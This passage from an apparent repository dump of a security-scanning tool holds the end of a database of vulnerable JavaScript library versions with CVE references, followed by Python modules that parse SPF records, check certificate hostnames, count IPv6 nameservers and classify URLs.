\"below\": \"4.1.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Cross-site Scripting (XSS)\",\n          \"CVE\": [\n            \"CVE-2015-3295\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/npm:markdown-it:20160912\",\n          \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3295\",\n          \"https://github.com/markdown-it/markdown-it/blob/master/CHANGELOG.md\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/markdown-it[/@](§§version§§)/?.*\\\\.js\"\n      ],\n      \"filename\": [\n        \"markdown-it-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*! markdown-it(?:-ins)? (§§version§§)\"\n      ],\n      \"func\": []\n    }\n  },\n  \"jszip\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"3.8.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Santize filenames when files are loaded with loadAsync, to avoid “zip slip” attacks.\",\n          \"retid\": \"5\"\n        },\n        \"info\": [\n          \"https://stuk.github.io/jszip/CHANGES.html\"\n        ]\n      },\n      {\n        \"below\": \"3.7.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Denial of Service (DoS)\",\n          \"CVE\": [\n            \"CVE-2021-23413\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-JSZIP-1251497\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2021-23413\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/jszip[/@](§§version§§)/.*\\\\.js\"\n      ],\n      \"filename\": [\n        \"jszip-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*![ \\n]+JSZip v(§§version§§) \"\n      ],\n      \"func\": [\n        \"JSZip && JSZip.version\"\n      ]\n    }\n  },\n  \"AlaSQL\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"0.7.0\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"bug\": \"SNYK-JS-ALASQL-1082932\",\n          \"summary\": \"An arbitrary code execution exists as AlaSQL doesn't sanitize input when characters are placed between square brackets [] or preceded with a backtik (accent grave) ` character. Versions older that 0.7.0 were deprecated in March of 2021 and should no longer be used.\"\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-ALASQL-1082932\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/alasql[/@](§§version§§)/.*\\\\.js\"\n      ],\n      \"filename\": [\n        \"alasql-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!?[ \\n]*AlaSQL v(§§version§§)\"\n      ],\n      \"func\": [\n        \"alasql && alasql.version\"\n      ]\n    }\n  },\n  \"jquery.datatables\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.11.3\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"possible XSS\",\n          \"retid\": \"2\"\n        },\n        \"info\": [\n          \"https://github.com/DataTables/Dist-DataTables/commit/59a8d3f8a3c1138ab08704e783bc52bfe88d7c9b\",\n          \"https://cdn.datatables.net/1.11.3/\"\n        ]\n      },\n      {\n        \"below\": \"1.10.23\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"prototype pollution\",\n          \"retid\": \"3\"\n        },\n        \"info\": [\n          \"https://github.com/DataTables/DataTablesSrc/commit/a51cbe99fd3d02aa5582f97d4af1615d11a1ea03\",\n          \"https://cdn.datatables.net/1.10.23/\"\n        ]\n      },\n      {\n        \"below\": \"1.10.22\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"prototype pollution\",\n          \"retid\": \"4\"\n        },\n        \"info\": [\n          \"https://cdn.datatables.net/1.10.22/\"\n        ]\n      },\n      {\n        \"below\": \"1.10.10\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-6584\"\n          ],\n          \"summary\": \"XSS\"\n        },\n        \"info\": [\n          \"https://github.com/DataTables/DataTablesSrc/commit/ccf86dc5982bd8e16d\",\n          \"https://www.invicti.com/web-applications-advisories/cve-2015-6384-xss-vulnerability-identified-in-datatables/\",\n          \"https://github.com/advisories/GHSA-4mv4-gmmf-q382\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/(§§version§§)/(js/)?jquery.dataTables(.min)?.js\"\n      ],\n      \"filename\": [\n        \"jquery.dataTables-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"http://www.datatables.net\\n +DataTables (§§version§§)\",\n        \"/\\\\*! DataTables (§§version§§)\",\n        \"u.version=\\\"(§§version§§)\\\";u.settings=\\\\[\\\\];u.models=\\\\{\\\\};u.models.oSearch\"\n      ],\n      \"func\": [\n        \"DataTable && DataTable.version\"\n      ]\n    }\n  },\n  \"nextjs\": {\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"10.0.0\",\n        \"below\": \"12.1.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Improper CSP in Image Optimization API\",\n          \"CVE\": [\n            \"CVE-2022-23646\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-fmvm-x8mv-47mj\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"12.0.0\",\n        \"below\": \"12.0.9\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"DOS Vulnerability for self-hosted next.js apps\",\n          \"CVE\": [\n            \"CVE-2022-21721\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-wr66-vrwm-5g5x\"\n        ]\n      },\n      {\n        \"below\": \"11.1.3\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Unexpected server crash in Next.js versions\",\n          \"CVE\": [\n            \"CVE-2021-43803\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-25mp-g6fv-mqxx\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"12.0.0\",\n        \"below\": \"12.0.5\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Unexpected server crash in Next.js versions\",\n          \"CVE\": [\n            \"CVE-2021-43803\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-25mp-g6fv-mqxx\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"10.0.0\",\n        \"below\": \"11.1.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS in Image Optimization API\",\n          \"CVE\": [\n            \"CVE-2021-39178\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-9gr3-7897-pp7m\"\n        ]\n      },\n      {\n        \"below\": \"11.1.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Open Redirect in Next.js\",\n          \"CVE\": [\n            \"CVE-2021-37699\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-vxf5-wxwp-m7g9\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"9.5.0\",\n        \"below\": \"9.5.4\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Open Redirect in Next.js\",\n          \"CVE\": [\n            \"CVE-2020-15242\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-x56p-c8cg-q435\"\n        ]\n      },\n      {\n        \"below\": \"9.3.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Directory Traversal in Next.js\",\n          \"CVE\": [\n            \"CVE-2020-5284\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/vercel/next.js/security/advisories/GHSA-fq77-7p7r-83rj\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"filecontent\": [\n        \"version=\\\"(§§version§§)\\\".{1,1500}document\\\\.getElementById\\\\(\\\"__NEXT_DATA__\\\"\\\\)\\\\.textContent\",\n        \"document\\\\.getElementById\\\\(\\\"__NEXT_DATA__\\\"\\\\)\\\\.textContent\\\\);window\\\\.__NEXT_DATA__=.;.\\\\.version=\\\"(§§version§§)\\\"\"\n      ],\n      \"func\": [\n        \"next && next.version\"\n      ]\n    }\n  },\n  \"chart.js\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"2.9.4\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution in chart.js\",\n          \"CVE\": [\n            \"CVE-2020-7746\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/advisories/GHSA-h68q-55jf-x68w\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/Chart.js/(§§version§§)/chart(\\\\.min)?\\\\.js\",\n        \"/Chart.js/(§§version§§)/Chart.bundle(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"var version=\\\"(§§version§§)\\\";const KNOWN_POSITIONS=\\\\[\\\"top\\\",\\\"bottom\\\",\\\"left\\\",\\\"right\\\",\\\"chartArea\\\"\\\\]\",\n        \"/\\\\*![\\\\s]+\\\\* Chart.js v(§§version§§)\",\n        \"/\\\\*![\\\\s]+\\\\* Chart.js[\\\\s]+\\\\* http://chartjs.org/[\\\\s]+\\\\* Version: (§§version§§)\"\n      ]\n    }\n  },\n  \"dont check\": {\n    \"extractors\": {\n      \"uri\": [\n        \"^http[s]?://(ssl|www).google-analytics.com/ga.js\",\n        \"^http[s]?://apis.google.com/js/plusone.js\",\n        \"^http[s]?://cdn.cxense.com/cx.js\"\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "octopoes/bits/runner.py",
    "content": "from collections.abc import Iterator\nfrom importlib import import_module\nfrom inspect import isfunction, signature\nfrom typing import Any\n\nfrom bits.definitions import BitDefinition\nfrom octopoes.models import OOI\n\n\nclass ModuleException(Exception):\n    \"\"\"General error for modules\"\"\"\n\n\nclass BitRunner:\n    def __init__(self, bit_definition: BitDefinition):\n        self.module = bit_definition.module\n\n    def run(self, *args: Any, **kwargs: Any) -> list[OOI]:\n        module = import_module(self.module)\n\n        if not hasattr(module, \"run\") or not isfunction(module.run):\n            raise ModuleException(f\"Module {module} does not define a run function\")\n\n        if signature(module.run).return_annotation != BIT_SIGNATURE.return_annotation:\n            raise ModuleException(\n                f\"Invalid run function return annotation, expected '{BIT_SIGNATURE.return_annotation}'\"\n            )\n        return list(module.run(*args, **kwargs))\n\n    def __str__(self) -> str:\n        return f\"BitRunner {self.module}\"\n\n\ndef _bit_run_signature(input_ooi: OOI, additional_oois: list[OOI], config: dict[str, Any]) -> Iterator[OOI]:\n    yield input_ooi\n\n\nBIT_SIGNATURE = signature(_bit_run_signature)\n"
  },
  {
    "path": "octopoes/bits/spf_discovery/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/spf_discovery/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.dns.records import DNSTXTRecord\n\nBIT = BitDefinition(id=\"spf-discovery\", consumes=DNSTXTRecord, parameters=[], module=\"bits.spf_discovery.spf_discovery\")\n"
  },
  {
    "path": "octopoes/bits/spf_discovery/internetnl_spf_parser.py",
    "content": "# Copyright: 2022, ECP, NLnet Labs and the Internet.nl contributors\n# SPDX-License-Identifier: Apache-2.0\nimport ipaddress\n\nfrom pyparsing import (\n    CaselessLiteral,\n    Combine,\n    Group,\n    OneOrMore,\n    Optional,\n    ParseException,\n    ParserElement,\n    Regex,\n    StringEnd,\n    White,\n    Word,\n    ZeroOrMore,\n    alphanums,\n    alphas,\n    nums,\n    printables,\n)\n\nParserElement.set_default_whitespace_chars(\"\")  # Whitespace is in the grammar\n\n# Parser for SPF records.\n#\n# The record is parsed based on section 12 (Collected ABNF) of RFC-7208.\n# [ https://tools.ietf.org/html/rfc7208#section-12 ]\n#\n# Most of the tokens have been combined together for easier access to the\n# records parts.\n# The terms can be found under <parsed_result>['terms'] if any.\n\n\ndef _parse_ipv6(tokens):\n    \"\"\"\n    Helper function to parse IPv6 addresses.\n\n    \"\"\"\n    match = str(tokens[0])\n    try:\n        return str(ipaddress.IPv6Address(match))\n    except ipaddress.AddressValueError:\n        try:\n            return str(ipaddress.IPv6Network(match, strict=False))\n        except (ipaddress.AddressValueError, ipaddress.NetmaskValueError) as e:\n            raise ParseException(\"Non valid IPv6 address/network.\") from e\n\n\nSP = White(ws=\" \", exact=1).suppress()\n\nname = Word(alphas, exact=1) + Optional(Word(alphanums + \"-_.\"))\n\ndelimiter = Word(\".-+,/_=\", exact=1)\ntransformers = Optional(Word(nums)) + Optional(CaselessLiteral(\"r\"))\nmacro_letter = Word(\"sSlLoOdDiIpPhHcCrRtTvV\", exact=1)\nmacro_literal = Word(printables, exact=1, exclude_chars=\"%\")\nmacro_expand = (\n    (CaselessLiteral(\"%{\") + macro_letter + Optional(transformers) + ZeroOrMore(delimiter) + CaselessLiteral(\"}\"))\n    | CaselessLiteral(\"%%\")\n    | CaselessLiteral(\"%_\")\n    | CaselessLiteral(\"%-\")\n)\n\n\ndef _check_toplabel(tokens):\n    if tokens[0][-1] == \"-\":\n        raise ParseException(\"Top level ending in '-'\")\n    return None\n\n\ntoplabel = (\n    (Optional(Word(nums)) + Word(alphas, exact=1) + Optional(Word(alphanums)))\n    | (Word(alphanums) + CaselessLiteral(\"-\") + Optional(Word(alphanums + \"-\")))\n).set_parse_action(_check_toplabel)\n\n\ndef _check_domain_end(tokens):\n    \"\"\"\n    domain_end = (\n        (CaselessLiteral('.') + toplabel + Optional(CaselessLiteral('.')))\n        | macro_expand)\n\n    \"\"\"\n    domain_name = tokens[0]\n    domain_end = domain_name.split(\".\")[-2] if domain_name[-1] == \".\" else domain_name.split(\".\")[-1]\n    try:\n        toplabel.parse_string(domain_end)\n    except ParseException:\n        macro_expand.parse_string(domain_end)\n    return None\n\n\nmacro_string = Combine(ZeroOrMore(macro_expand | macro_literal))\n\ndomain_spec = macro_string.set_parse_action(_check_domain_end)\n\nip4_network = Regex(r\"((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)\\.){3}(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)\")\n\nip6_cidr_length = CaselessLiteral(\"/\") + Regex(r\"(12[0-8]|1[01]\\d|[1-9]\\d|\\d)\")\nip4_cidr_length = CaselessLiteral(\"/\") + Regex(r\"(3[0-2]|[12]\\d|\\d)\")\ndual_cidr_length = Optional(ip4_cidr_length) + Optional(CaselessLiteral(\"/\") + ip6_cidr_length)\n\nunknown_modifier = Combine(name + CaselessLiteral(\"=\") + macro_string)\nexplanation = Combine(CaselessLiteral(\"exp=\") + domain_spec)\nredirect = Combine(CaselessLiteral(\"redirect=\") + domain_spec)\nmodifier = redirect | explanation | unknown_modifier\n\nqualifier = Word(\"+-?~\", exact=1)\nexists = Combine(Optional(qualifier) + CaselessLiteral(\"exists:\") + domain_spec)\nip6 = Combine(Optional(qualifier) + CaselessLiteral(\"ip6:\") + Regex(\"[^ ]*\").set_parse_action(_parse_ipv6))\nip4 = Combine(Optional(qualifier) + CaselessLiteral(\"ip4:\") + ip4_network + Optional(ip4_cidr_length))\nptr = Combine(Optional(qualifier) + CaselessLiteral(\"ptr\") + Optional(CaselessLiteral(\":\") + domain_spec))\nmx = Combine(\n    Optional(qualifier)\n    + CaselessLiteral(\"mx\")\n    + Optional(CaselessLiteral(\":\") + domain_spec)\n    + Optional(dual_cidr_length)\n)\na = Combine(\n    Optional(qualifier)\n    + CaselessLiteral(\"a\")\n    + Optional(CaselessLiteral(\":\") + domain_spec)\n    + Optional(dual_cidr_length)\n)\ninclude = Combine(Optional(qualifier) + CaselessLiteral(\"include:\") + domain_spec)\nall_ = Combine(Optional(qualifier) + CaselessLiteral(\"all\"))\n\nmechanism = all_ | include | a | mx | ptr | ip4 | ip6 | exists\ndirective = mechanism\nterms = ZeroOrMore(OneOrMore(SP) + (directive | modifier))\n\nversion = CaselessLiteral(\"v=spf1\").set_results_name(\"spf_version\")\nrecord = version + Group(terms).set_results_name(\"terms\") + ZeroOrMore(SP) + StringEnd()\n\n\ndef parse(spf_record):\n    try:\n        return record.parse_string(spf_record)\n    except Exception:\n        return None\n"
  },
  {
    "path": "octopoes/bits/spf_discovery/spf_discovery.py",
    "content": "import re\nfrom collections.abc import Iterator\nfrom typing import Any\n\nfrom bits.spf_discovery.internetnl_spf_parser import parse\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSTXTRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import (\n    DNSSPFMechanismHostname,\n    DNSSPFMechanismIP,\n    DNSSPFRecord,\n    MechanismQualifier,\n)\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\n\n\ndef run(input_ooi: DNSTXTRecord, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    if input_ooi.value.startswith(\"v=spf1\"):\n        spf_value = input_ooi.value.replace(\"%{d}\", input_ooi.hostname.tokenized.name)\n\n        # remove exists:%i mechanisms\n        spf_value = re.sub(r\"exists:%{[^\\s]+\", \"\", spf_value)\n\n        parsed = parse(spf_value)\n        # check if spf record passes the internet.nl parser\n        if parsed is not None:\n            spf_record = DNSSPFRecord(dns_txt_record=input_ooi.reference, value=input_ooi.value, ttl=input_ooi.ttl)\n            # walk through all mechanisms\n            for mechanism in parsed[1]:\n                # strip of optional mechanism qualifiers\n                # http://www.open-spf.org/SPF_Record_Syntax/\n                mechanism_qualifier = MechanismQualifier(\"+\")\n                if mechanism.startswith((\"+\", \"-\", \"~\", \"?\")):\n                    mechanism_qualifier = mechanism[0]\n                    mechanism = mechanism[1:]\n                mechanism_qualifier = MechanismQualifier(mechanism_qualifier)\n\n                # ip4 and ip6 mechanisms\n                if mechanism.startswith((\"ip4:\", \"ip6:\")):\n                    yield from parse_ip_qualifiers(mechanism_qualifier, mechanism, input_ooi, spf_record)\n                # a mechanisms and mx mechanisms have the same syntax\n                if not mechanism.startswith(\"all\") and mechanism.startswith(\"a\") or mechanism.startswith(\"mx\"):\n                    yield from parse_a_mx_qualifiers(mechanism_qualifier, mechanism, input_ooi, spf_record)\n                # exists ptr and include mechanisms have a similar syntax\n                if mechanism.startswith(\"exists\") or mechanism.startswith(\"ptr\") or mechanism.startswith(\"include\"):\n                    yield from parse_ptr_exists_include_mechanism(mechanism_qualifier, mechanism, input_ooi, spf_record)\n                # redirect mechanisms\n                if mechanism.startswith(\"redirect\"):\n                    yield from parse_redirect_mechanism(mechanism, input_ooi, spf_record)\n                # exp mechanism is handled separately because does not necessarily have a hostname\n                if mechanism.startswith(\"exp\"):\n                    spf_record.exp = mechanism.split(\"=\", 1)[1]\n                if mechanism.endswith(\"all\"):\n                    spf_record.all = mechanism_qualifier.value\n            yield spf_record\n        else:\n            ft = KATFindingType(id=\"KAT-INVALID-SPF\")\n            yield ft\n            yield Finding(finding_type=ft.reference, ooi=input_ooi.reference, description=\"This SPF record is invalid\")\n\n\ndef parse_ip_qualifiers(\n    mechanism_qualifier: MechanismQualifier, mechanism: str, input_ooi: DNSTXTRecord, spf_record: DNSSPFRecord\n) -> Iterator[OOI]:\n    # split mechanism into qualifier and ip\n    qualifier, ip = mechanism.split(\":\", 1)\n    ip = mechanism[4:]\n    # split ip in ip and mask\n    mask = None\n    if \"/\" in ip:\n        ip, mask = ip.split(\"/\")\n    if mask is None:\n        if qualifier == \"ip4\":\n            ip_address = IPAddressV4(\n                address=ip, network=Network(name=input_ooi.hostname.tokenized.network.name).reference\n            )\n            yield ip_address\n            yield DNSSPFMechanismIP(\n                spf_record=spf_record.reference, ip=ip_address.reference, qualifier=mechanism_qualifier, mechanism=\"ip4\"\n            )\n        if qualifier == \"ip6\":\n            ip_address = IPAddressV6(\n                address=ip, network=Network(name=input_ooi.hostname.tokenized.network.name).reference\n            )\n            yield ip_address\n            yield DNSSPFMechanismIP(\n                spf_record=spf_record.reference, ip=ip_address.reference, qualifier=mechanism_qualifier, mechanism=\"ip6\"\n            )\n\n\ndef parse_a_mx_qualifiers(\n    mechanism_qualifier: MechanismQualifier, mechanism: str, input_ooi: DNSTXTRecord, spf_record: DNSSPFRecord\n) -> Iterator[OOI]:\n    if mechanism == \"a\" or mechanism == \"mx\":\n        yield DNSSPFMechanismHostname(\n            spf_record=spf_record.reference,\n            hostname=input_ooi.hostname,\n            mechanism=mechanism,\n            qualifier=mechanism_qualifier,\n        )\n    else:\n        if mechanism.startswith(\"a/\") or mechanism.startswith(\"mx/\"):\n            mechanism_type, domain = mechanism.split(\"/\", 1)\n        else:\n            mechanism_type, domain = mechanism.split(\":\", 1)\n        # remove prefix-length for now\n        # TODO: fix prefix lengths\n        domain = domain.split(\"/\")[0]\n        hostname = Hostname(name=domain, network=Network(name=input_ooi.hostname.tokenized.network.name).reference)\n        yield hostname\n        yield DNSSPFMechanismHostname(\n            spf_record=spf_record.reference,\n            hostname=hostname.reference,\n            mechanism=mechanism_type,\n            qualifier=mechanism_qualifier,\n        )\n\n\ndef parse_ptr_exists_include_mechanism(\n    mechanism_qualifier: MechanismQualifier, mechanism: str, input_ooi: DNSTXTRecord, spf_record: DNSSPFRecord\n) -> Iterator[OOI]:\n    if mechanism == \"ptr\":\n        yield DNSSPFMechanismHostname(\n            spf_record=spf_record.reference, hostname=input_ooi.hostname, mechanism=\"ptr\", qualifier=mechanism_qualifier\n        )\n        ft = KATFindingType(id=\"KAT-DEPRECATED-SPF-MECHANISM\")\n        yield ft\n        yield Finding(\n            finding_type=ft.reference,\n            ooi=input_ooi.reference,\n            description=\"This SPF record contains a PTR mechanism, Use of PTR is deprecated.\",\n        )\n    else:\n        mechanism_type, domain = mechanism.split(\":\", 1)\n        # currently, the model only supports hostnames and not domains\n        if domain.startswith(\"_\"):\n            return\n        hostname = Hostname(name=domain, network=Network(name=input_ooi.hostname.tokenized.network.name).reference)\n        yield hostname\n        yield DNSSPFMechanismHostname(\n            spf_record=spf_record.reference,\n            hostname=hostname.reference,\n            mechanism=mechanism_type,\n            qualifier=mechanism_qualifier,\n        )\n\n\ndef parse_redirect_mechanism(mechanism: str, input_ooi: DNSTXTRecord, spf_record: DNSSPFRecord) -> Iterator[OOI]:\n    mechanism_type, domain = mechanism.split(\"=\", 1)\n    # currently, the model only supports hostnames and not domains\n    if domain.startswith(\"_\"):\n        return\n    hostname = Hostname(name=domain, network=Network(name=input_ooi.hostname.tokenized.network.name).reference)\n    yield hostname\n    yield DNSSPFMechanismHostname(\n        spf_record=spf_record.reference, hostname=hostname.reference, mechanism=mechanism_type\n    )\n"
  },
  {
    "path": "octopoes/bits/ssl_certificate_hostname/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ssl_certificate_hostname/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.certificate import (\n    SubjectAlternativeNameHostname,\n    SubjectAlternativeNameQualifier,\n    X509Certificate,\n)\nfrom octopoes.models.ooi.web import Website\n\nBIT = BitDefinition(\n    id=\"ssl-certificate-hostname\",\n    consumes=X509Certificate,\n    parameters=[\n        BitParameterDefinition(ooi_type=Website, relation_path=\"certificate\"),\n        BitParameterDefinition(ooi_type=SubjectAlternativeNameHostname, relation_path=\"certificate\"),\n        BitParameterDefinition(ooi_type=SubjectAlternativeNameQualifier, relation_path=\"certificate\"),\n    ],\n    module=\"bits.ssl_certificate_hostname.ssl_certificate_hostname\",\n)\n"
  },
  {
    "path": "octopoes/bits/ssl_certificate_hostname/ssl_certificate_hostname.py",
    "content": "from collections.abc import Iterator\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.certificate import (\n    SubjectAlternativeNameHostname,\n    SubjectAlternativeNameQualifier,\n    X509Certificate,\n)\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import Website\n\n\ndef is_part_of_wildcard(hostname: str, wildcard: str) -> bool:\n    # according to rfc2459 wildcard certificates can only be used for subdomains\n    wildcard_domain = wildcard[2:].rstrip(\".\")\n    higher_level_domain = \".\".join(hostname.split(\".\")[1:])\n    return wildcard_domain == higher_level_domain\n\n\ndef hostname_in_qualifiers(hostname: str, qualifiers: list[str]) -> bool:\n    return any(is_part_of_wildcard(hostname, qualifier) for qualifier in qualifiers)\n\n\ndef run(\n    input_ooi: X509Certificate, additional_oois: list[Website | SubjectAlternativeNameHostname], config: dict\n) -> Iterator[OOI]:\n    websites = [website for website in additional_oois if isinstance(website, Website)]\n    subject_alternative_name_hostnames = [\n        subject_alternative_name.hostname.tokenized.name.rstrip(\".\")\n        for subject_alternative_name in additional_oois\n        if isinstance(subject_alternative_name, SubjectAlternativeNameHostname)\n    ]\n\n    subject_alternative_name_qualifiers = [\n        subject_alternative_name.name.rstrip(\".\")\n        for subject_alternative_name in additional_oois\n        if isinstance(subject_alternative_name, SubjectAlternativeNameQualifier)\n    ]\n\n    for website in websites:\n        hostname = website.hostname.tokenized.name.rstrip(\".\")\n\n        if hostname in subject_alternative_name_hostnames:\n            return\n\n        if hostname_in_qualifiers(hostname, subject_alternative_name_qualifiers):\n            return\n\n        ft = KATFindingType(id=\"KAT-SSL-CERT-HOSTNAME-MISMATCH\")\n        yield Finding(\n            ooi=website.reference,\n            finding_type=ft.reference,\n            description=f\"The hostname {website.hostname} does not match the subject of the certificate\",\n        )\n"
  },
  {
    "path": "octopoes/bits/two_ipv6_nameservers/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/two_ipv6_nameservers/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding\n\nBIT = BitDefinition(\n    id=\"two-ipv6-nameservers\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi [is DNSNSRecord].hostname\"),\n        BitParameterDefinition(ooi_type=DNSNSRecord, relation_path=\"hostname\"),\n    ],\n    module=\"bits.two_ipv6_nameservers.two_ipv6_nameservers\",\n)\n"
  },
  {
    "path": "octopoes/bits/two_ipv6_nameservers/two_ipv6_nameservers.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(hostname: Hostname, additional_oois: list[Finding | DNSNSRecord], config: dict[str, Any]) -> Iterator[OOI]:\n    no_ipv6_findings = [\n        finding\n        for finding in additional_oois\n        if isinstance(finding, Finding) and finding.finding_type.tokenized.id == \"KAT-NAMESERVER-NO-IPV6\"\n    ]\n\n    dns_ns_records = [dns_ns_record for dns_ns_record in additional_oois if isinstance(dns_ns_record, DNSNSRecord)]\n\n    if len(dns_ns_records) - len(no_ipv6_findings) < 2 and dns_ns_records:\n        finding_type = KATFindingType(id=\"KAT-NAMESERVER-NO-TWO-IPV6\")\n        yield finding_type\n        yield Finding(\n            finding_type=finding_type.reference,\n            ooi=hostname.reference,\n            description=\"This hostname has less than two nameservers with an IPv6 address.\",\n        )\n"
  },
  {
    "path": "octopoes/bits/url_classification/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/url_classification/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.web import URL\n\nBIT = BitDefinition(\n    id=\"url-classification\",\n    consumes=URL,\n    parameters=[],\n    module=\"bits.url_classification.url_classification\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/url_classification/url_classification.py",
    "content": "from collections.abc import Iterator\nfrom ipaddress import IPv4Address, ip_address\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom octopoes.models.ooi.web import URL, HostnameHTTPURL, IPAddressHTTPURL, WebScheme\n\n\ndef run(url: URL, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    if url.raw.scheme == \"http\" or url.raw.scheme == \"https\":\n        port = url.raw.port\n        if port is None:\n            if url.raw.scheme == \"https\":\n                port = 443\n            elif url.raw.scheme == \"http\":\n                port = 80\n\n        path = url.raw.path if url.raw.path is not None else \"/\"\n\n        default_args = {\"network\": url.network, \"scheme\": WebScheme(url.raw.scheme), \"port\": port, \"path\": path}\n        try:\n            addr = ip_address(url.raw.host)\n        except ValueError:\n            hostname = Hostname(network=url.network, name=url.raw.host)\n            hostname_url = HostnameHTTPURL(netloc=hostname.reference, **default_args)\n            original_url = URL(network=url.network, raw=url.raw, web_url=hostname_url.reference)\n            yield hostname\n            yield hostname_url\n            yield original_url\n        else:\n            if isinstance(addr, IPv4Address):\n                ip = IPAddressV4(network=url.network, address=addr)\n                ip_url = IPAddressHTTPURL(netloc=ip.reference, **default_args)\n                original_url = URL(network=url.network, raw=url.raw, web_url=ip_url.reference)\n                yield ip\n                yield ip_url\n                yield original_url\n            else:\n                ip = IPAddressV6(network=url.network, address=addr)\n                ip_url = IPAddressHTTPURL(netloc=ip.reference, **default_args)\n                original_url = URL(network=url.network, raw=url.raw, web_url=ip_url.reference)\n                yield ip\n                yield ip_url\n                yield original_url\n"
  },
  {
